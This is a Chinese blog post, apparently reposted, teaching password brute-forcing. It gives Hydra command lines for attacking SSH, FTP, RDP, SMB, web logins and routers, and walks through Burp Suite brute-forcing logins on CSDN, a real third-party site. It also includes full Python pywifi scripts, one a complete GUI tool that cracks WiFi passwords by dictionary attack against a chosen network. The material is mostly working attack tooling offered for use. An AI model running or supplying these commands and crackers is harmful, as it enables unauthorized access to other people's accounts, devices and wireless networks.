小小爆破演练(hydra&burpsuite&pywifi)

Posted HUTEROX

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了小小爆破演练(hydra&burpsuite&pywifi)相关的知识,希望对你有一定的参考价值。

前言

这个爆破说实话是一个非常低级的手段,主要原理就是通过密码字典,用户字典,或者说是枚举来一个一个去猜测密码。说白了就是猜密码,通过强大的字典去撞。所以这种技术也叫装库类似的东西。当然现在市面上有很多工具,都可以完成这项功能,甚至你也可以直接使用python或者Java或者其他的编程语言实现一个爆破程序。例如利用python的requests自制爆破工具。
老规矩实战加演练。

目录
一:hydra的基本使用
二:hydra路由爆破实战
三:burpsuite爆破CSDN登录实战
四:pythonWiFi爆破实战

Hydra爆破工具

这个玩意一个很出名的爆破工具,kali自带有,不需要安装,当然你也可以下载Windows版本的工具。当然哪个方便那个来,我这里直接在win里面演示。
不过在此之前先要了解一下具体的攻击指令,当然这个软件本身是有界面的,不过windows版本的没有,一般而言也是使用指令比较多,比较快。关于界面怎么用的话
参考我前写的nmap&&xhydra(随笔)
接下来是基本指令:


hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip地址 攻击类型
 
[-o 输出文件] [-t 线程数量] [-M 目标列表文件 [-T 线程数量]] [-w 等待世界] [-f有结果就停下] [-s 指定端口] [-S] [-vV查看过程] server service [攻击类型] 
 
-R 继续从上一次进度接着破解。 
 
-S 采用SSL链接。 
 
-s PORT 可通过这个参数指定非默认端口。 
 
-l LOGIN 指定破解的用户,对特定用户破解。 
 
-L FILE 指定用户名字典。 
 
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。 
 
-P FILE 大写,指定密码字典。 
 
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。 
 
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。 
 
-M FILE 指定目标列表文件一行一条。 
 
-o FILE 指定结果输出文件。 
 
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。 
 
-t TASKS 同时运行的线程数,默认为16。 
 
-w TIME 设置最大超时的时间,单位秒,默认是30s。 
 
-v / -V 显示详细过程。 
 
server 目标ip 
 
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt 
http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc 
ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec 
rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere 
teamspeak sip vmauthd firebird ncp afp...

Hydra攻击指令示例

前面的都是参数,具体的攻击的话看下面的实际例子就好了

1.SSH爆破

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh 直接输出结果

hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh 将结果保存之save.log

hydra -L用户名.txt -P 密码字典.txt -t 线程 -e ns -vV ip ssh
注意参数-e ns我是用了字典去爆破但是,如果你是用户名和密码不知道用来两个字典一个用户名字典一个密码字典的话,加一上 -e ns参数,作用是遍历所有可能组合。

2.get方式提交,破解web登录

hydra -L 用户名.txt -P 密码字典.txt -t 线程 -vV -e ns ip http-get /admin/

hydra -L 用户名.txt -P 密码字典.txt -t 线程 -vV -e ns -f ip http-get /admin/index.php
注意我这里又使用了-f参数,有一个中就停下
后面的那个就是网站登录的那个路径。不过说一句实话,现在基本上都是https这个如果不是很古老的网站的话基本上用不了。

3.破解ftp:

hydra -L 用户名.txt -P 密码字典.txt -t 线程 -vV -e ns -f ip ftp
hydra -L 用户名.txt -P 密码字典.txt -t 线程 -vV -e ns ip ftp

4.post方式提交,破解web登录:
这个看起来高级一点,指令也会复杂一些,但是实用性还是不大。

hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" 

下面是一个示例:

hydra -t 3 -l admin -P pass.txt -o out.txt -f IP地址 http-post-form "login.php:id=^USER^&passwd=^PASS^(提交的URL路径^要被爆破替换的^):<title>wrong username or password</title>" (登录错误时候返回的代码中的一段html代码)

5.破解https:

hydra -m /index.php -l muts -P pass.txt IP https

这个没啥太大作用,其实这个hydra在web方面有点吃力
6.破解teamspeak:

hydra -L用户名.txt -P 密码字典.txt -s 端口号 -vV -e ns ip teamspeak

下面几个太像了我就直接放一起了


7、破解cisco: 
hydra -P pass.txt IP cisco 
hydra -m cloud -P pass.txt IP cisco-enable 
 
 
 
8、破解smb: 
hydra -l administrator -P pass.txt IP smb 
 
 
 
9、破解pop3: 
hydra -l muts -P pass.txt my.pop3.mail pop3 
 
 
 
10、破解rdp: 
hydra  -l administrator -P pass.txt -V ip rdp
 
 
 
11、破解http-proxy: 
hydra -l admin -P pass.txt http-proxy://IP
 
 
 
12、破解imap: 
hydra -L user.txt -p secret IP imap PLAIN 
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

之后几个是我认为比较有意思,也是这个工具我认为比较有用的功能
暴破ssh登录密码

hydra -L user.txt -P password.txt -t 2 -vV -e ns 靶机IP ssh

路由器破解

hydra -vV -l admin -P password.txt -t 8 路由登录IP http-get /

为什么我觉得这个才好玩,原因很简单
第一:现在很少http的网站可以玩除了靶场
第二:这玩意需要IP,但是一个网站那么复杂很难直接找到目标
要是可以找到,那么我此时已经利用其他工具完成了爆破。

Hydra实战演练登录寝室路由

目标 192.168.101.1
在这里插入图片描述
准备字典
这个是演示,我是知道密码的。
在这里插入图片描述
在这里插入图片描述

burspite爆破

说完hydra的话我前面也说了,其实那玩意不太适合做web方面的爆破,不过对于ssh之类的爆破是很不错的。当然其实你自己也可以写一个python脚本,然后爆破。没啥难度,当然有工具不用是 沙子 ,
下面直接演示,因为我搞到了中文版那么直接看PPT一般的操作就好了。
那么接下来演示爆破CSDN账号密码。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
找到包,发送到我们的爆破器
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
基本上一个流程就这样
那么也就是说当你涉及到web的时候就用burpsuite

WIFI爆破

为什么是python,其实其他语言也可以只是python的库调用起来比较方便
这个主要是用pywifi来做。
然后我这里提供两种方案。
第一种是我自己写的框架,当然不想写了,没写完,所以这个就无奖开源各位大佬各显神通吧。

第二种呢是有GUI的,当然这个参考这篇博客
python-wifi
这个是另一个大佬写的,我会把代码放出来。
原理都是一样的,只是一个有无界面的问题,不过那个是单线程的。我这个是可以开多线程的,这玩意毕竟讲究的就是一个字快呀。不过我没做完,以后有时间再做,做好了我会再写一篇博客,那么现在这个部分就当作抛砖引玉吧。

先说说第一个。

from pywifi import const,PyWiFi,Profile
import time,sys
from queue import Queue

command = sys.argv[1:]

WIFI_PASSWORD=Queue(1000)


class Tools:
    def __init__(self):
        self.WFII_List = []

    def check_wifi_connect(self):
        wifi = PyWiFi()
        ifaces  = wifi.interfaces()[0]
        if ifaces.status() == const.IFACE_CONNECTED:
            print("%s"%ifaces.name())
            return True

        else:
            # print("No")
            return False

    def WiFi_Scan(self):
        '''扫描周围WiFi'''
        if self.check_wifi_connect():
            self.DisConnect()
        else:
            pass

        wifi = PyWiFi()
        iface = wifi.interfaces()[0]
        iface.scan()
        info = iface.scan_results()
        for inf in info:
            if inf.ssid:
                print("周围存在wifi:%s"%inf.ssid)
                self.WFII_List.append(inf.ssid)
        print("共计:%d"%len(self.WFII_List))

    def DisConnect(self):
        '''断开WiFi'''
        wifi = PyWiFi()
        iface = wifi.interfaces()[0]
        iface.disconnect()

    def Connect_WiFi(self,wifi_name,wifi_password):
        '''WiFi连接'''
        wifi = PyWiFi()
        iface = wifi.interfaces()[0]
        iface.disconnect()

        profile_info = Profile()
        profile_info.ssid = wifi_name

        profile_info.auth = const.AUTH_ALG_OPEN
        profile_info.akm.append(const.AKM_TYPE_WPA2PSK)
        profile_info.cipher = const.CIPHER_TYPE_CCMP

        profile_info.key = wifi_password
        iface.remove_all_network_profiles()
        tmp_profile = iface.add_network_profile(profile_info)
        iface.connect(tmp_profile)

        time.sleep(0.5)
        if iface.status() == const.IFACE_CONNECTED:

            return True
        else:

            return False
    def help_get(self):
        help_='''
        -h 获得帮助文档
        -s 扫描当前附近的WiFi
        -o 将扫描结果输出至日志文件(out.log)
        -t 爆破线程数量默认三个
        -f 选择爆破文本
        -w 想要破解的WiFi名
        -aw 破解所有的WiFi密码
        '''
        print(help_)


if __name__=="__main__":
    Tools = Tools()
    COMM = {'-h':Tools.help_get,'-s':Tools.WiFi_Scan}
    if len(command) >=1:
        for i in command:
            if i in COMM.keys():
                COMM[i]()


在这里插入图片描述
接下来是第二种:

from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog
import tkinter.messagebox


class MY_GUI:
	def __init__(self,windows):


		self.init_window_name = windows

		self.init_window_name.title("WIFISuite")

		self.init_window_name.resizable(width=False,height=False)


		self.get_value = StringVar()


		self.get_wifi_value = StringVar()


		self.get_wifimm_value = StringVar()

		self.wifi = pywifi.PyWiFi()
		self.iface = self.wifi.interfaces()[0]
		self.iface.disconnect()
		time.sleep(1)
		assert self.iface.status() in\\
				[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]


	def __str__(self):
		print("hello welcome!!!")
		return '(WIFI:%s,%s)' % (self.wifi,self.iface.name())

	def set_init_window(self):
		self.init_window_name.geometry('+500+200')

		labelframe = LabelFrame(width=400, height=200,text="配置")
		labelframe.grid(column=0, row=0, padx=10, pady=10)

		self.search = Button(labelframe,text="搜索附近WiFi",command=self.scans_wifi_list).grid(column=0,row=0)

		self.pojie = Button(labelframe,text="开始破解",command=self.readPassWord).grid(column=1,row=0)

		self.label = Label(labelframe,text="目录路径:").grid(column=0,row=1)

		self.path = Entry(labelframe,width=12,textvariable = self.get_value).grid(column=1,row=1)

		self.file = Button(labelframe,text="添加密码文件目录",command=self.add_mm_file).grid(column=2,row=1)

		self.wifi_text = Label(labelframe,text="WiFi账号:").grid(column=0,row=2)

		self.wifi_input = Entry(labelframe,width=12,textvariable = self.get_wifi_value).grid(column=1,row=2)

		self.wifi_mm_text = Label(labelframe,text="WiFi密码:").grid(column=2,row=2)

		self.wifi_mm_input = Entry(labelframe,width=10,textvariable = self.get_wifimm_value).grid(column=3,row=2,sticky=W)

		self.wifi_labelframe = LabelFrame(text="wifi列表")
		self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW)


		# 定义树形结构与滚动条
		self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a", "b", "c", "d"))
		self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
		self.wifi_tree.configure(yscrollcommand=self.vbar.set)

		# 表格的标题
		self.wifi_tree.column("a", width=50, anchor="center")
		self.wifi_tree.column("b", width=100, anchor="center")
		self.wifi_tree.column("c", width=100, anchor="center")
		self.wifi_tree.column("d", width=100, anchor="center")

		self.wifi_tree.heading("a", text="WiFiID")
		self.wifi_tree.heading("b", text="SSID")
		self.wifi_tree.heading("c", text="BSSID")
		self.wifi_tree.heading("d", text="signal")

        #绑定表格事件

		self.wifi_tree.grid(row=4,column=0,sticky=NSEW)

		self.wifi_tree.bind("<Double-1>", self.onDBClick)
		self.vbar.grid(row=4, column=1, sticky=NS)


	def scans_wifi_list(self):  # 扫描周围wifi列表
		#开始扫描
		print("扫描中。。。。。。")
		self.iface.scan()
		time.sleep(15)
		#在若干秒后获取扫描结果
		scanres = self.iface.scan_results()
		#统计附近被发现的热点数量
		nums = len(scanres)
		print("数量: %s"%(nums))

		# 实际数据
		self.show_scans_wifi_list(scanres)
		return scanres

	#显示wifi列表
	def show_scans_wifi_list(self,scans_res):
		for index,wifi_info in enumerate(scans_res):

			self.wifi_tree.insert("",'end',values=(index + 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))

	#添加密码文件目录
	def add_mm_file(self):
		self.filename = tkinter.filedialog.askopenfilename()
		self.get_value.set(self.filename)

	#Treeview绑定事件
	def onDBClick(self,event):
		self.sels= event.widget.selection()
		self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])


	#读取密码字典,进行匹配
	def readPassWord(self):
		self.getFilePath = self.get_value.get()

		self.get_wifissid = self.get_wifi_value.get()

		pwdfilehander=open(self.getFilePath,"r",errors="ignore")
		while True:
				try:
					self.pwdStr=pwdfilehander.readline()

					if not self.pwdStr:
						break
					self.bool1=self.connect(self.pwdStr,self.get_wifissid)

					if self.bool1:
						self.res = "===正确===  wifi名:%s  匹配密码:%s "%(self.get_wifissid,self.pwdStr)
						self.get_wifimm_value.set(self.pwdStr)
						tkinter.messagebox.showinfo('提示', '破解成功!!!')
						print(self.res)
						break
					else:
						self.res = "---错误--- wifi名:%s匹配密码:%s"%(self.get_wifissid,self.pwdStr)
						print(self.res)
					time.sleep(3)
				except:
					continue
	#对wifi和密码进行匹配
	def connect(self,pwd_Str,wifi_ssid):
		#创建wifi链接文件
		self.profile = pywifi.Profile()
		self.profile.ssid =wifi_ssid
		self.profile.auth = const.AUTH_ALG_OPEN
		self.profile.akm.append(const.AKM_TYPE_WPA2PSK)
		self.profile.cipher = const.CIPHER_TYPE_CCMP
		self.profile.key = pwd_Str #密码
		self.iface.remove_all_network_profiles()
		self.tmp_profile = self.iface.add_network_profile(self.profile)
		self.iface.connect(self.tmp_profile)
		time.sleep(5)
		if self.iface.status() == const.IFACE_CONNECTED:
			isOK=True
		else:
			isOK=False
		self.iface.disconnect() #断开
		time.sleep(1)
		#检查断开状态
		assert self.iface.status() in\\
				[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
		return isOK

if __name__=="__main__":
	window = Tk()

	GUI = MY_GUI(window)

	GUI.set_init_window()
	print(GUI)
	window.mainloop()



在这里插入图片描述

以上是关于小小爆破演练(hydra&burpsuite&pywifi)的主要内容,如果未能解决你的问题,请参考以下文章

使用BP和Hydra爆破相关的而服务

弱口令爆破总结

攻防世界ics-06&burpsuite爆破bug

使用Hydra爆破3389

kali下爆破工具 hydra 如何提速?单个 我这一分钟才30次 虽然只设置了5线程。

Hydra爆破XP登录密码